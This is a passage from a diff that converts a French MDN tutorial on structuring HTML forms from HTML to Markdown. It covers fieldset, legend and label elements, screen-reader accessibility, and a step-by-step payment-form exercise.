l'intérieur. De nombreuses techniques d'assistance ou greffons de navigateur peuvent détecter les éléments {{HTMLElement("form")}} et implémenter des accroches spéciales pour les rendre plus faciles à utiliser. -<p>Nous l'avons déjà rencontré dans l'article précédent.</p> +Nous l'avons déjà rencontré dans l'article précédent. -<div class="note"> - <p><strong>Note :</strong> Il est strictement interdit d'imbriquer un formulaire dans un autre formulaire. L'imbrication peut conduire à des comportements imprévisibles selon le navigateur utilisé. - </p> -</div> +> **Note :** Il est strictement interdit d'imbriquer un formulaire dans un autre formulaire. L'imbrication peut conduire à des comportements imprévisibles selon le navigateur utilisé. -<p>Notez qu'il est toujours possible d'utiliser un widget de formulaire en dehors d'un élément {{HTMLElement("form")}} mais si vous le faites, ce widget de formulaire n'a rien à voir avec un formulaire. De tels widgets peuvent être utilisés en dehors d'un formulaire, mais alors vous devriez avoir un plan spécial pour de tels widgets, puisqu'ils ne feront rien tout seuls. Vous devrez personnaliser leur comportement avec JavaScript.</p> +Notez qu'il est toujours possible d'utiliser un widget de formulaire en dehors d'un élément {{HTMLElement("form")}} mais si vous le faites, ce widget de formulaire n'a rien à voir avec un formulaire. De tels widgets peuvent être utilisés en dehors d'un formulaire, mais alors vous devriez avoir un plan spécial pour de tels widgets, puisqu'ils ne feront rien tout seuls. Vous devrez personnaliser leur comportement avec JavaScript. -<div class="note"> -<p><strong>Note :</strong> HTML5 introduit l'attribut <code>form</code> dans les éléments form du HTML. Il devrait vous permettre de lier explicitement un élément avec un formulaire même s'il n'est pas inclus dans un {{ HTMLElement("form") }}. Malheureusement, pour l'instant, l'implémentation de cette fonctionnalité dans les navigateurs n'est pas encore assez fiable.</p> -</div> +> **Note :** HTML5 introduit l'attribut `form` dans les éléments form du HTML. Il devrait vous permettre de lier explicitement un élément avec un formulaire même s'il n'est pas inclus dans un {{ HTMLElement("form") }}. Malheureusement, pour l'instant, l'implémentation de cette fonctionnalité dans les navigateurs n'est pas encore assez fiable. -<h2 id="Les_éléments_<fieldset>_et_<legend>">Les éléments <fieldset> et <legend></h2> - -<p>L'élément {{HTMLElement("fieldset")}} est un moyen pratique de créer des groupes de widgets qui partagent le même but, pour le style et la sémantique. Vous pouvez étiqueter un {{HTMLElement("fieldset")}} en incluant un élément {{HTMLElement("legend")}} juste en dessous de la balise d'ouverture <fieldset>. Le contenu textuel de l'élément {{HTMLElement("legend")}} décrit formellement le but de l'élément {{HTMLElement("fieldset")}} inclus à l'intérieur.</p> - -<p>De nombreuses technologies d'assistance utiliseront l'élément {{HTMLElement("legend")}} comme s'il faisait partie de l'étiquette de chaque widget à l'intérieur de l'élément {{HTMLElement("fieldset")}} correspondant. Par exemple, certains lecteurs d'écran comme <a href="http://www.freedomscientific.com/products/fs/jaws-product-page.asp" rel="external">Jaws</a> ou <a href="http://www.nvda-project.org/" rel="external">NVDA</a> énonceront le contenu de la légende avant d'indiquer l'étiquette de chaque widget.</p> - -<p>Voici un petit exemple :</p> - -<pre class="brush:html"><form> - <fieldset> - <legend>Taille du jus de fruits</legend> - <p> - <input type="radio" name="size" id="size_1" value="small"> - <label for="size_1">Petite</label> - </p> - <p> - <input type="radio" name="size" id="size_2" value="medium"> - <label for="size_2">Moyenne</label> - </p> - <p> - <input type="radio" name="size" id="size_3" value="large"> - <label for="size_3">Grande</label> - </p> - </fieldset> -</form></pre> - -<div class="note"> -<p><strong>Note :</strong> Vous trouverez cet exemple dans <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/fieldset-legend.html">fieldset-legend.html</a> (voir <a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/fieldset-legend.html">directement aussi</a>).</p> -</div> +## Les éléments \<fieldset> et \<legend> -<p>En lisant le formulaire ci-dessus, un lecteur d'écran dira « Taille du jus de fruit : petit » pour le premier widget, « Taille du jus de fruit : moyenne » pour le second, et « Taille du jus de fruit : grande » pour le troisième.</p> +L'élément {{HTMLElement("fieldset")}} est un moyen pratique de créer des groupes de widgets qui partagent le même but, pour le style et la sémantique. Vous pouvez étiqueter un {{HTMLElement("fieldset")}} en incluant un élément {{HTMLElement("legend")}} juste en dessous de la balise d'ouverture \<fieldset>. Le contenu textuel de l'élément {{HTMLElement("legend")}} décrit formellement le but de l'élément {{HTMLElement("fieldset")}} inclus à l'intérieur. -<p>Le scenario d'utilisation du lecteur dans cet exemple est l'un des plus importants. Chaque fois que vous avez un ensemble de boutons radio, vous devez les imbriquer dans un élément {{HTMLElement("fieldset")}}. Il y a d'autres scenarii d'utilisation, et en général l'élément {{HTMLElement("fieldset")}} peut aussi être utilisé pour partager un formulaire. Idéalement, les formulaires longs doivent être éclatés sur plusieurs pages, mais si un formulaire long doit être sur une page unique, le fait de placer les différentes sections connexes dans de différents {{HTMLElement("fieldset")}} peut en améliorer l'utilisation.</p> +De nombreuses technologies d'assistance utiliseront l'élément {{HTMLElement("legend")}} comme s'il faisait partie de l'étiquette de chaque widget à l'intérieur de l'élément {{HTMLElement("fieldset")}} correspondant. Par exemple, certains lecteurs d'écran comme [Jaws](http://www.freedomscientific.com/products/fs/jaws-product-page.asp) ou [NVDA](http://www.nvda-project.org/) énonceront le contenu de la légende avant d'indiquer l'étiquette de chaque widget. -<p>En raison de son influence sur les techniques d'assistance, l'élément {{HTMLElement("fieldset")}} est l'un des éléments clés pour la création de formulaires accessibles ; cependant, il vous appartient de ne pas en abuser. Si possible, chaque fois que vous créez un formulaire, essayez d'<a href="https://www.nvaccess.org/download/">écouter comment un lecteur d'écran</a> l'interprète. Si cela ne paraît pas naturel, essayez d'améliorer la structure du formulaire.</p> +Voici un petit exemple : -<h2 id="L'élément_<label>">L'élément <label></h2> +```html +<form> + <fieldset> + <legend>Taille du jus de fruits</legend> + <p> + <input type="radio" name="size" id="size_1" value="small"> + <label for="size_1">Petite</label> + </p> + <p> + <input type="radio" name="size" id="size_2" value="medium"> + <label for="size_2">Moyenne</label> + </p> + <p> + <input type="radio" name="size" id="size_3" value="large"> + <label for="size_3">Grande</label> + </p> + </fieldset> +</form> +``` -<p>Comme nous l'avons vu dans l'article précédent, l'élément {{HTMLElement("label")}} est le moyen naturel de définir une étiquette pour un widget de formulaire HTML. C'est l'élément le plus important si vous voulez créer des formulaires accessibles — lorsqu'ils sont correctement implémentés, les lecteurs d'écran énonceront l'étiquette d'un élément de formulaire selon toutes les instructions associées. Prenons cet exemple, que nous avons vu dans l'article précédent :</p> +> **Note :** Vous trouverez cet exemple dans [fieldset-legend.html](https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/fieldset-legend.html) (voir [directement aussi](https://mdn.github.io/learning-area/html/forms/html-form-structure/fieldset-legend.html)). -<pre class="brush: html"><label for="name">Nom :</label> <input type="text" id="name" name="user_name"></pre> +En lisant le formulaire ci-dessus, un lecteur d'écran dira « Taille du jus de fruit : petit » pour le premier widget, « Taille du jus de fruit : moyenne » pour le second, et « Taille du jus de fruit : grande » pour le troisième. -<p>Avec un élément <code><label></code> correctement associé à <code><input></code> par l'intermédiaire respectivement des attributs <code>for</code> et <code>id</code> (l'attribut <code>for</code> de <label> référence l'attibut <code>id</code> du widget correspondant), un lecteur d'écran lira et dira quelque chose comme « Nom, texte indiqué ».</p> +Le scenario d'utilisation du lecteur dans cet exemple est l'un des plus importants. Chaque fois que vous avez un ensemble de boutons radio, vous devez les imbriquer dans un élément {{HTMLElement("fieldset")}}. Il y a d'autres scenarii d'utilisation, et en général l'élément {{HTMLElement("fieldset")}} peut aussi être utilisé pour partager un formulaire. Idéalement, les formulaires longs doivent être éclatés sur plusieurs pages, mais si un formulaire long doit être sur une page unique, le fait de placer les différentes sections connexes dans de différents {{HTMLElement("fieldset")}} peut en améliorer l'utilisation. -<p>Si l'étiquette n'est pas correctement paramétrée, le lecteur d'écran dira quelque chose comme « Texte édité vierge », ce qui n'est pas utile du tout.</p> +En raison de son influence sur les techniques d'assistance, l'élément {{HTMLElement("fieldset")}} est l'un des éléments clés pour la création de formulaires accessibles ; cependant, il vous appartient de ne pas en abuser. Si possible, chaque fois que vous créez un formulaire, essayez d'[écouter comment un lecteur d'écran](https://www.nvaccess.org/download/) l'interprète. Si cela ne paraît pas naturel, essayez d'améliorer la structure du formulaire. -<p>Notez qu'un widget peut être incorporé dans son élément {{HTMLElement("label")}}, ainsi :</p> +## L'élément \<label> -<pre class="brush: html"><label for="name"> - Nom : <input type="text" id="name" name="user_name"> -</label></pre> +Comme nous l'avons vu dans l'article précédent, l'élément {{HTMLElement("label")}} est le moyen naturel de définir une étiquette pour un widget de formulaire HTML. C'est l'élément le plus important si vous voulez créer des formulaires accessibles — lorsqu'ils sont correctement implémentés, les lecteurs d'écran énonceront l'étiquette d'un élément de formulaire selon toutes les instructions associées. Prenons cet exemple, que nous avons vu dans l'article précédent : -<p>Toutefois, même dans ce cas, il est considéré de bonne pratique de définir l'attribut <code>for</code> parce que certaines techniques d'assistance ne font pas implicitement le lien entre les étiquettes et les widgets.</p> +```html +<label for="name">Nom :</label> <input type="text" id="name" name="user_name"> +``` -<h3 id="Les_étiquettes_peuvent_être_cliquées_aussi_!">Les étiquettes peuvent être cliquées, aussi !</h3> +Avec un élément `<label>` correctement associé à `<input>` par l'intermédiaire respectivement des attributs `for` et `id` (l'attribut `for` de \<label> référence l'attibut `id` du widget correspondant), un lecteur d'écran lira et dira quelque chose comme « Nom, texte indiqué ». -<p>Autre avantage de bien configurer les étiquettes : vous pouvez cliquer sur l'étiquette pour activer le widget correspondant, dans tous les navigateurs. Utile, par exemple, pour des entrées de texte : vous pouvez cliquer sur l'étiquette ou la zone de texte pour y obtenir le curseur, mais c'est encore plus utile pour les boutons radio et les cases à cocher — la surface active au clic pour une telle commande peut être très réduite, il est donc utile de l'agrandir autant que possible.</p> +Si l'étiquette n'est pas correctement paramétrée, le lecteur d'écran dira quelque chose comme « Texte édité vierge », ce qui n'est pas utile du tout. -<p>Par exemple :</p> +Notez qu'un widget peut être incorporé dans son élément {{HTMLElement("label")}}, ainsi : -<pre class="brush:html"><form> - <p> - <label for="taste_1">J'aime les cerises</label> - <input type="checkbox" id="taste_1" name="taste_cherry" value="1"> - </p> - <p> - <label for="taste_2">J'aime les bananes</label> - <input type="checkbox" id="taste_2" name="taste_banana" value="2"> - </p> -</form></pre> +```html +<label for="name"> + Nom : <input type="text" id="name" name="user_name"> +</label> +``` -<div class="note"> -<p><strong>Note :</strong> Vous trouverez cet exemple dans <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/checkbox-label.html">checkbox-label.html</a> (à voir <a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/checkbox-label.html">directement aussi</a>).</p> -</div> +Toutefois, même dans ce cas, il est considéré de bonne pratique de définir l'attribut `for` parce que certaines techniques d'assistance ne font pas implicitement le lien entre les étiquettes et les widgets. -<h3 id="Étiquettes_multiples">Étiquettes multiples</h3> +### Les étiquettes peuvent être cliquées, aussi ! -<p>En fait, il est possible d'associer plusieurs étiquettes à un seul widget, mais ce n'est pas une bonne idée car certaines techniques d'assistance peuvent éprouver du trouble pour leur gestion. Dans le cas d'étiquettes multiples, vous devez incorporer le widget et son étiquette dans un seul élément {{htmlelement("label")}}.</p> +Autre avantage de bien configurer les étiquettes : vous pouvez cliquer sur l'étiquette pour activer le widget correspondant, dans tous les navigateurs. Utile, par exemple, pour des entrées de texte : vous pouvez cliquer sur l'étiquette ou la zone de texte pour y obtenir le curseur, mais c'est encore plus utile pour les boutons radio et les cases à cocher — la surface active au clic pour une telle commande peut être très réduite, il est donc utile de l'agrandir autant que possible. -<p>Considérons cet exemple :</p> +Par exemple : -<pre class="brush: html"><p>Les champs obligatoires sont suivis de <abbr title="required">*</abbr>.</p> +```html +<form> + <p> + <label for="taste_1">J'aime les cerises</label> + <input type="checkbox" id="taste_1" name="taste_cherry" value="1"> + </p> + <p> + <label for="taste_2">J'aime les bananes</label> + <input type="checkbox" id="taste_2" name="taste_banana" value="2"> + </p> +</form> +``` -<!-- Donc ceci : --> -<div> - <label for="username">Nom :</label> - <input type="text" name="username"> - <label for="username"><abbr title="required">*</abbr></label> -</div> +> **Note :** Vous trouverez cet exemple dans [checkbox-label.html](https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/checkbox-label.html) (à voir [directement aussi](https://mdn.github.io/learning-area/html/forms/html-form-structure/checkbox-label.html)). -<!-- sera mieux programmé ainsi : --> -<div> - <label for="username"> - <span>Nom :</span> - <input id="username" type="text" name="username"> - <abbr title="required">*</abbr> - </label> -</div> +### Étiquettes multiples -<!-- mais ceci est probablement encore meilleur : --> -<div> - <label for="username">Nom :<abbr title="required">*</abbr></label> - <input id="username" type="text" name="username"> -</div></pre> +En fait, il est possible d'associer plusieurs étiquettes à un seul widget, mais ce n'est pas une bonne idée car certaines techniques d'assistance peuvent éprouver du trouble pour leur gestion. Dans le cas d'étiquettes multiples, vous devez incorporer le widget et son étiquette dans un seul élément {{htmlelement("label")}}. -<p>Le paragraphe du haut définit la règle pour les éléments obligatoires. Ce doit être au début pour s'assurer que les techniques d'assistance telles que les lecteurs d'écran l'afficheront ou le vocaliseront à l'utilisateur avant qu'il ne trouve un élément obligatoire. Ainsi, ils sauront ce que signifie l'astérisque. Un lecteur d'écran mentionnera l'astérisque en disant « astérisque » ou « obligatoire », selon les réglages du lecteur d'écran — dans tous les cas, ce qui sera dit est clairement précisé dans le premier paragraphe.</p> +Considérons cet exemple : -<ul> - <li>Dans le premier exemple, l'étiquette n'est pas lue du tout avec l'entrée — vous obtenez simplement « texte édité vierge », puis les étiquettes réelles sont lues séparément. Les multiples éléments <label> embrouillent le lecteur d'écran.</li> - <li>Dans le deuxième exemple, les choses sont un peu plus claires — l'étiquette lue en même temps que l'entrée est « nom astérisque nom éditer texte », et les étiquettes sont toujours lues séparément. Les choses sont encore un peu confuses, mais c'est un peu mieux cette fois parce que l'entrée a une étiquette associée.</li> - <li>Le troisième exemple est meilleur — les véritables étiquettes sont toutes lues ensemble, et l'étiquette énoncée avec l'entrée est « nom astériquer éditer texte ».</li> -</ul> +```html +<p>Les champs obligatoires sont suivis de <abbr title="required">*</abbr>.</p> -<div class="note"> -<p><strong>Note :</strong> Vous pouvez obtenir des résultats légérement différents, selon votre lecteur d'écran. Ce qui précéde a été testé avec VoiceOver (et NVDA se comporte de la même façon). Nous aimerions avoir un retour sur vos expériences également.</p> +<!-- Donc ceci : --> +<div> + <label for="username">Nom :</label> + <input type="text" name="username"> + <label for="username"><abbr title="required">*</abbr></label> </div> -<div class="note"> -<p><strong>Note :</strong> Vous trouverez cet exemple sur GitHub dans <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/required-labels.html">required-labels.html</a> (à voir <a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/required-labels.html">directement aussi</a>). Ne lancez pas l'exemple avec 2 ou 3 version non mises en commentaires — le lecteur d'écran serait totalement embrouillé s'il y a plusieurs étiquettes ET plusieurs entrées avec le même ID !</p> +<!-- sera mieux programmé ainsi : --> +<div> + <label for="username"> + <span>Nom :</span> + <input id="username" type="text" name="username"> + <abbr title="required">*</abbr> + </label> </div> -<h2 id="Structures_HTML_courantes_dans_les_formulaires">Structures HTML courantes dans les formulaires</h2> - -<p>Au-delà des structures propres aux formulaires HTML,rappelons‑nous que les formulaires sont du pur HTML. Vous pouvez donc utiliser toute la puissance du HTML pour structurer un formulaire.</p> - -<p>Comme vous avez pu le voir dans les exemples, il est de pratique courante d'envelopper une étiquette et son widget avec un élément {{HTMLElement("div")}}. Les éléments {{HTMLElement("p")}} sont aussi couramment utilisés, tout comme les listes HTML (ces dernières sont très courantes pour structurer plusieurs cases à cocher ou boutons radio).</p> - -<p>En plus de l'élément {{HTMLElement("fieldset")}}, il est habituel d'utiliser des titres HTML (par exemple {{htmlelement("h1")}}, {{htmlelement("h2")}}) et des sections (par exemple {{htmlelement("section")}}) pour structurer un formulaire complexe.</p> - -<p>Par-dessus tout, il vous appartient de trouver un style où vous vous sentez à l'aise pour coder, et qui se traduit aussi par des formulaires accessibles et utilisables.</p> - -<p>Chaque groupe de fonctionnalités séparées doit être contenu dans un élément {{htmlelement("section")}} et les boutons radio dans un élément {{htmlelement("fieldset")}}.</p> - -<h3 id="Apprentissage_actif_construire_une_structure_de_formulaire">Apprentissage actif : construire une structure de formulaire</h3> - -<p>Mettons ces idées en pratique et construisons une structure de formulaire un peu plus sophistiquée — un formulaire de paiement. Il contiendra un certain nombre de types de widgets que vous ne comprenez pas encore — ne vous inquiétez pas pour l'instant ; vous découvrirez comment ils fonctionnent dans l'article suivant (<a href="/fr/docs/Learn/HTML/Forms/The_native_form_widgets">Les widgets natifs pour formulaire</a>). Pour l'instant, lisez attentivement les descriptions en suivant les instructions ci-dessous et commencez à vous faire une idée des éléments enveloppes que nous utilisons pour structurer le formulaire, et pourquoi.</p> - -<ol> - <li>Pour commencer, faites une copie locale de notre <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">fichier modèle vierge</a> et des <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.css">CSS pour notre formulaire de paiement </a> dans un nouveau répertoire.</li> - <li>Primo, appliquez les CSS au HTML en ajoutant la ligne suivante dans l'élément {{htmlelement("head")}} du HTML : - <pre class="brush: html"><link href="payment-form.css" rel="stylesheet"></pre> - </li> - <li>Ensuite, commencez le formulaire en ajoutant un élément {{htmlelement("form")}} : - <pre class="brush: html"><form> - -</form></pre> - </li> - <li>Entre les balises <code><form></code>, ajoutez un en‑tête et un paragraphe pour informer les utilisateurs comment sont marqués les champs obligatoires : - <pre class="brush: html"><h1>Formulaire de paiement</h1> -<p>Les champs obligatoires sont suivis par un <strong><abbr title="required">*</abbr></strong>.</p></pre> - </li> - <li>Ensuite, nous ajoutons une grande section de code dans le formulaire, sous la précédente. Ici vous verrez que nous enveloppons les champs d'informations de contact dans des éléments {{htmlelement("section")}} distincts. De plus, nous avons un ensemble de deux boutons radio, que nous mettons chacun à l'intérieur de leur propre élément de liste ({{htmlelement("li")}}). Enfin, nous avons deux zones de texte standard {{htmlelement("input")}} et leurs éléments {{htmlelement("label")}} associés, chacun contenu dans un élément {{htmlelement("p")}}, plus une entrée pour le mot de passe. Ajoutez ce code à votre formulaire maintenant : - <pre class="brush: html"><section> - <h2>Informations de contact</h2> - <fieldset> - <legend>Qualité</legend> - <ul> - <li> - <label for="title_1"> - <input type="radio" id="title_1" name="title" value="M." > - Monsieur - </label> - </li> - <li> - <label for="title_2"> - <input type="radio" id="title_2" name="title" value="Mme."> - Madame - </label> - </li> - </ul> - </fieldset> - <p> - <label for="name"> - <span>Nom : </span> - <strong><abbr title="required">*</abbr></strong> - </label> - <input type="text" id="name" name="username"> - </p> - <p> - <label for="mail"> - <span>e-mail :</span> - <strong><abbr title="required">*</abbr></strong> - </label> - <input type="email" id="mail" name="usermail"> - </p> - <p> - <label for="pwd"> - <span>Mot de passe :</span> - <strong><abbr title="required">*</abbr></strong> - </label> - <input type="password" id="pwd" name="password"> - </p> -</section></pre> - </li> - <li>Nous arrivons maintenant à la deuxième <code><section></code> de notre formulaire — l'information de paiement. Ici nous avons trois widgets distincts avec leur étiquette, chacun contenu dans un paragraphe <code><p></code>. Le premier est un menu déroulant ({{htmlelement("select")}}) pour le choix du type de la carte de crédit. Le deuxième est un élément <code><input></code> de type nombre pour entrer le numéro de la carte de crédit. Le dernier est un élément <code><input></code> de type <code>date</code> pour entrer la date d'expiration de la carte de crédit (il sera accompagné d'un widget dateur pour les navigateurs prenant en charge cette fonctionnalité, et sera un simple champ textuel pour les navigateurs ne la prenant pas en charge). À nouveau, entrez ce qui suit après la section ci‑dessus : - <pre class="brush: html"> -<section> - <h2>Informations de paiement</h2> - <p> - <label for="card"> - <span>Type de carte :</span> - </label> - <select id="card" name="usercard"> - <option value="visa">Visa</option> - <option value="mc">Mastercard</option> - <option value="amex">American Express</option> - </select> - </p> - <p> - <label for="number"> - <span>Numéro de carte :</span> - <strong><abbr title="required">*</abbr></strong> - </label> - <input type="text" id="number" name="cardnumber"> - </p> - <p> - <label for="date"> - <span>Validité :</span> - <strong><abbr title="required">*</abbr></strong> - <em>format mm/aa</em> - </label> - <input type="text" id="date" name="expiration"> - </p> -</section></pre> - </li> - <li>La dernière section est plus simple ; elle ne contient qu'un bouton {{htmlelement("button")}} de type <code>submit</code>, pour adresser les données du formulaire. Ajoutez ceci au bas du formulaire : - <pre class="brush: html"><p> <button type="submit">Valider le paiement</button> </p></pre> - </li> -</ol> - -<p>Vous pouvez voir le formulaire terminé en action ci‑dessous (vous le trouverez aussi sur GitHub — voir la <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.html">source</a> payment-form.html et une exécution <a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/payment-form.html">directe</a>):</p> - -<p>{{EmbedLiveSample("Un_formulaire_de_paiement","100%","620", "", "Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML/Exemple")}}</p> - -<h2 id="Résumé">Résumé</h2> - -<p>Nous savons maintenant ce qu'il faut faire pour structurer de manière appropriée un formulaire HTML ; l'article suivant approfondira la mise en œuvre des divers types de widgets pour formulaire pour collecter les informations utilisateur.</p> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li><a href="http://www.alistapart.com/articles/sensibleforms/" rel="external">A List Apart: <em>Sensible Forms: A Form Usability Checklist</em></a></li> -</ul> - -<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML", "Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires")}}</p> - -<h2 id="Dans_ce_module">Dans ce module</h2> - -<ul> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li> - <li>Comment structurer un formulaire HTML</li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li> -</ul> +<!-- mais ceci est probablement encore meilleur : --> +<div> + <label for="username">Nom :<abbr title="required">*</abbr></label> + <input id="username" type="text" name="username"> +</div> +``` + +Le paragraphe du haut définit la règle pour les éléments obligatoires. Ce doit être au début pour s'assurer que les techniques d'assistance telles que les lecteurs d'écran l'afficheront ou le vocaliseront à l'utilisateur avant qu'il ne trouve un élément obligatoire. Ainsi, ils sauront ce que signifie l'astérisque. Un lecteur d'écran mentionnera l'astérisque en disant « astérisque » ou « obligatoire », selon les réglages du lecteur d'écran — dans tous les cas, ce qui sera dit est clairement précisé dans le premier paragraphe. + +- Dans le premier exemple, l'étiquette n'est pas lue du tout avec l'entrée — vous obtenez simplement « texte édité vierge », puis les étiquettes réelles sont lues séparément. Les multiples éléments \<label> embrouillent le lecteur d'écran. +- Dans le deuxième exemple, les choses sont un peu plus claires — l'étiquette lue en même temps que l'entrée est « nom astérisque nom éditer texte », et les étiquettes sont toujours lues séparément. Les choses sont encore un peu confuses, mais c'est un peu mieux cette fois parce que l'entrée a une étiquette associée. +- Le troisième exemple est meilleur — les véritables étiquettes sont toutes lues ensemble, et l'étiquette énoncée avec l'entrée est « nom astériquer éditer texte ». + +> **Note :** Vous pouvez obtenir des résultats légérement différents, selon votre lecteur d'écran. Ce qui précéde a été testé avec VoiceOver (et NVDA se comporte de la même façon). Nous aimerions avoir un retour sur vos expériences également. + +> **Note :** Vous trouverez cet exemple sur GitHub dans [required-labels.html](https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/required-labels.html) (à voir [directement aussi](https://mdn.github.io/learning-area/html/forms/html-form-structure/required-labels.html)). Ne lancez pas l'exemple avec 2 ou 3 version non mises en commentaires — le lecteur d'écran serait totalement embrouillé s'il y a plusieurs étiquettes ET plusieurs entrées avec le même ID ! + +## Structures HTML courantes dans les formulaires + +Au-delà des structures propres aux formulaires HTML,rappelons‑nous que les formulaires sont du pur HTML. Vous pouvez donc utiliser toute la puissance du HTML pour structurer un formulaire. + +Comme vous avez pu le voir dans les exemples, il est de pratique courante d'envelopper une étiquette et son widget avec un élément {{HTMLElement("div")}}. Les éléments {{HTMLElement("p")}} sont aussi couramment utilisés, tout comme les listes HTML (ces dernières sont très courantes pour structurer plusieurs cases à cocher ou boutons radio). + +En plus de l'élément {{HTMLElement("fieldset")}}, il est habituel d'utiliser des titres HTML (par exemple {{htmlelement("h1")}}, {{htmlelement("h2")}}) et des sections (par exemple {{htmlelement("section")}}) pour structurer un formulaire complexe. + +Par-dessus tout, il vous appartient de trouver un style où vous vous sentez à l'aise pour coder, et qui se traduit aussi par des formulaires accessibles et utilisables. + +Chaque groupe de fonctionnalités séparées doit être contenu dans un élément {{htmlelement("section")}} et les boutons radio dans un élément {{htmlelement("fieldset")}}. + +### Apprentissage actif : construire une structure de formulaire + +Mettons ces idées en pratique et construisons une structure de formulaire un peu plus sophistiquée — un formulaire de paiement. Il contiendra un certain nombre de types de widgets que vous ne comprenez pas encore — ne vous inquiétez pas pour l'instant ; vous découvrirez comment ils fonctionnent dans l'article suivant ([Les widgets natifs pour formulaire](/fr/docs/Learn/HTML/Forms/The_native_form_widgets)). Pour l'instant, lisez attentivement les descriptions en suivant les instructions ci-dessous et commencez à vous faire une idée des éléments enveloppes que nous utilisons pour structurer le formulaire, et pourquoi. + +1. Pour commencer, faites une copie locale de notre [fichier modèle vierge](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html) et des [CSS pour notre formulaire de paiement ](https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.css)dans un nouveau répertoire. +2. Primo, appliquez les CSS au HTML en ajoutant la ligne suivante dans l'élément {{htmlelement("head")}} du HTML : + + ```html + <link href="payment-form.css" rel="stylesheet"> + ``` + +3. Ensuite, commencez le formulaire en ajoutant un élément {{htmlelement("form")}} : + + ```html + <form> + + </form> + ``` + +4. Entre les balises `<form>`, ajoutez un en‑tête et un paragraphe pour informer les utilisateurs comment sont marqués les champs obligatoires : + + ```html + <h1>Formulaire de paiement</h1> + <p>Les champs obligatoires sont suivis par un <strong><abbr title="required">*</abbr></strong>.</p> + ``` + +5. Ensuite, nous ajoutons une grande section de code dans le formulaire, sous la précédente. Ici vous verrez que nous enveloppons les champs d'informations de contact dans des éléments {{htmlelement("section")}} distincts. De plus, nous avons un ensemble de deux boutons radio, que nous mettons chacun à l'intérieur de leur propre élément de liste ({{htmlelement("li")}}). Enfin, nous avons deux zones de texte standard {{htmlelement("input")}} et leurs éléments {{htmlelement("label")}} associés, chacun contenu dans un élément {{htmlelement("p")}}, plus une entrée pour le mot de passe. Ajoutez ce code à votre formulaire maintenant : + + ```html + <section> + <h2>Informations de contact</h2> + <fieldset> + <legend>Qualité</legend> + <ul> + <li> + <label for="title_1"> + <input type="radio" id="title_1" name="title" value="M." > + Monsieur + </label> + </li> + <li> + <label for="title_2"> + <input type="radio" id="title_2" name="title" value="Mme."> + Madame + </label> + </li> + </ul> + </fieldset> + <p> + <label for="name"> + <span>Nom : </span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="text" id="name" name="username"> + </p> + <p> + <label for="mail"> + <span>e-mail :</span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="email" id="mail" name="usermail"> + </p> + <p> + <label for="pwd"> + <span>Mot de passe :</span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="password" id="pwd" name="password"> + </p> + </section> + ``` + +6. Nous arrivons maintenant à la deuxième `<section>` de notre formulaire — l'information de paiement. Ici nous avons trois widgets distincts avec leur étiquette, chacun contenu dans un paragraphe `<p>`. Le premier est un menu déroulant ({{htmlelement("select")}}) pour le choix du type de la carte de crédit. Le deuxième est un élément `<input>` de type nombre pour entrer le numéro de la carte de crédit. Le dernier est un élément `<input>` de type `date` pour entrer la date d'expiration de la carte de crédit (il sera accompagné d'un widget dateur pour les navigateurs prenant en charge cette fonctionnalité, et sera un simple champ textuel pour les navigateurs ne la prenant pas en charge). À nouveau, entrez ce qui suit après la section ci‑dessus : + + ```html + <section> + <h2>Informations de paiement</h2> + <p> + <label for="card"> + <span>Type de carte :</span> + </label> + <select id="card" name="usercard"> + <option value="visa">Visa</option> + <option value="mc">Mastercard</option> + <option value="amex">American Express</option> + </select> + </p> + <p> + <label for="number"> + <span>Numéro de carte :</span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="text" id="number" name="cardnumber"> + </p> + <p> + <label for="date"> + <span>Validité :</span> + <strong><abbr title="required">*</abbr></strong> + <em>format mm/aa</em> + </label> + <input type="text" id="date" name="expiration"> + </p> + </section> + ``` + +7. La dernière section est plus 